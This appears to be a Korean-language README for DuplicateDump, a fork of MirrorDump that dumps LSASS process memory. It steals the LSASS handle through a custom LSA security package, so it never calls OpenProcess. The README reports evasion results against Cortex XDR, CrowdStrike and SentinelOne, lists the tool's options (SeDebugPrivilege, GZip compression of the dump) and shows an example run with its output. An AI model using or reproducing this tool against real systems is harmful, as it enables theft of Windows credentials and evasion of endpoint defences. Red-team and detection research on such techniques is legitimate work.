
사용자 정의 LSA 플러그인에서 복제된 핸들을 사용하여 LSASS 메모리 덤프
DuplicateDump는 MirrorDump의 포크로서 다음과 같은 수정 사항이 있습니다:
DuplicateDump는 LSASS 프로세스에서 DuplicateDump로 LSASS 프로세스 핸들을 복제하는 사용자 정의 LSA 플러그인을 추가합니다. 따라서 DuplicateDump는 OpenProcess를 호출하지 않고도 LSASS에 대한 사용 준비가 된 프로세스 핸들을 갖게 됩니다.
DuplicateDump를 메모리에 로드하여 다음에서 탐지되지 않고 LSASS 메모리를 덤프할 수 있었습니다:
Cortex XDR, Crowdstrike에서 탐지됨. SentinalOne에서는 탐지되지 않고 lsass 덤프에 실패했습니다.
LSA 플러그인 컴파일(SpLsaModeInitialize 또는 dllMain 함수 내보내기) 후 DLL의 전체 경로를 DuplicateDump에 제공하세요.
.\DuplicateDump.exe --help
-f, --filename=VALUE The path to write the dump file to
-p, --plugin=VALUE Full file path to LSA plugin
-c, --compress GZip and delete the dump file on disk
-d, --DebugPriv Obtain SeDebugPrivilege
-h, --help Display this help
예시
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] Loading LSA security package
[+] Named pipe connected and replying with current PID 6492
[+] Found duplicated LSASS process handle 0x3d0
[+] Compressed dump file saved to test.gz